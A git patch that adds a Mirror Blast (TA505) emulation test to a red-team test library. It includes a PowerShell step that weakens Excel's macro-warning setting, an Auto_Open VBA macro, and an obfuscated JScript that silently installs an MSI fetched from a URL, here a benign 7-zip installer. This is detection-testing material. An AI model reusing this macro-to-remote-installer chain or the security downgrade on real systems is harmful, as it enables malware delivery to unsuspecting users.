From 3bff37d737f344826963c3fa024077fd29d0804c Mon Sep 17 00:00:00 2001 From: CDub1016 <73127960+CDub1016@users.noreply.github.com> Date: Wed, 12 Oct 2022 14:53:10 -0500 Subject: [PATCH] T1204.002 Added Test to Emulate Mirror Blast TA505 (#2180) * Update T1204.002.yaml Added Mirror Blast technique. * Update T1204.002.yaml Added cleanup command to Mirror Blast Test. * Add files via upload Added Excel sheet with macro to download 7zip. * Add files via upload Information about macro in Mirror Blast. * use PathToAtomicsFolder * add link to blog Co-authored-by: Carrie Roberts --- atomics/T1204.002/T1204.002.yaml | 14 ++++++++++++++ .../T1204.002/bin/mirrorblast_emulation.xlsm | Bin 0 -> 14305 bytes atomics/T1204.002/src/Mirror Blast.txt | 12 ++++++++++++ 3 files changed, 26 insertions(+) create mode 100644 atomics/T1204.002/bin/mirrorblast_emulation.xlsm create mode 100644 atomics/T1204.002/src/Mirror Blast.txt diff --git a/atomics/T1204.002/T1204.002.yaml b/atomics/T1204.002/T1204.002.yaml index 43cd18bb..76bb8da2 100644 --- a/atomics/T1204.002/T1204.002.yaml +++ b/atomics/T1204.002/T1204.002.yaml @@ -408,3 +408,17 @@ atomic_tests: Remove-Item $file1 -ErrorAction Ignore Remove-Item $file2 -ErrorAction Ignore name: powershell +- name: Mirror Blast Emulation + description: | + Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. + Requires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies) + supported_platforms: + - windows + executor: + command: |- + Cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs" + New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force | Out-Null + & '.\Excel 2016.lnk' PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm + cleanup_command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security" /v "VBAWarnings" /f + name: powershell + diff --git a/atomics/T1204.002/bin/mirrorblast_emulation.xlsm b/atomics/T1204.002/bin/mirrorblast_emulation.xlsm new file mode 100644 index 0000000000000000000000000000000000000000..dc76be044daa38b199b125577ec262348d9f099e GIT binary patch literal 14305 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 YUrq|@&4vFEh9Ciq-=e^T{g1u>19_jXd;kCd literal 0 HcmV?d00001 diff --git a/atomics/T1204.002/src/Mirror Blast.txt b/atomics/T1204.002/src/Mirror Blast.txt new file mode 100644 index 00000000..59d7c92d --- /dev/null +++ b/atomics/T1204.002/src/Mirror Blast.txt @@ -0,0 +1,12 @@ +The file that was added to binary is the excel spreadsheet that has the macro to download 7zip. + +VBA code (in auto_open excel module) +Sub Auto_Open() With CreateObject("ScriptControl") .Language = "JScript" .AddCode (Range("A1").Value) End With EndSub +--------------------- + +Encoded JS Command: +eval('}kk)kk"kkikkskkmkk.kk4kk6kkxkk-kk7kk0kk1kk2kkzkk7kk/kkakk/kkgkkrkkokk.kkpkkikkzkk-kk7kk.kkwkkwkkwkk/kk/kk:kkskkpkktkktkkhkk"kk(kktkkckkukkdkkokkrkkPkklkklkkakktkkskknkkIkk;kk1kk=kklkkekkvkkekkLkkIkkUkk{kk)kk)kk"kkrkkekklkklkkakktkkskknkkIkk.kkrkkekklkklkkakktkkskknkkIkkskkwkkokkdkknkkikkWkk"kk(kktkkckkekkjkkbkkOkkXkkekkvkkikktkkckkAkk kkwkkekknkk(kkhkktkkikkw'.split('kk').reverse().join('')) + +-------------------- +Decoded JS Command: +with(new ActiveXObject("WindowsInstaller.Installer")){UILevel=1;InstallProduct("https://www.7-zip.org/a/7z2107-x64.msi")} \ No newline at end of file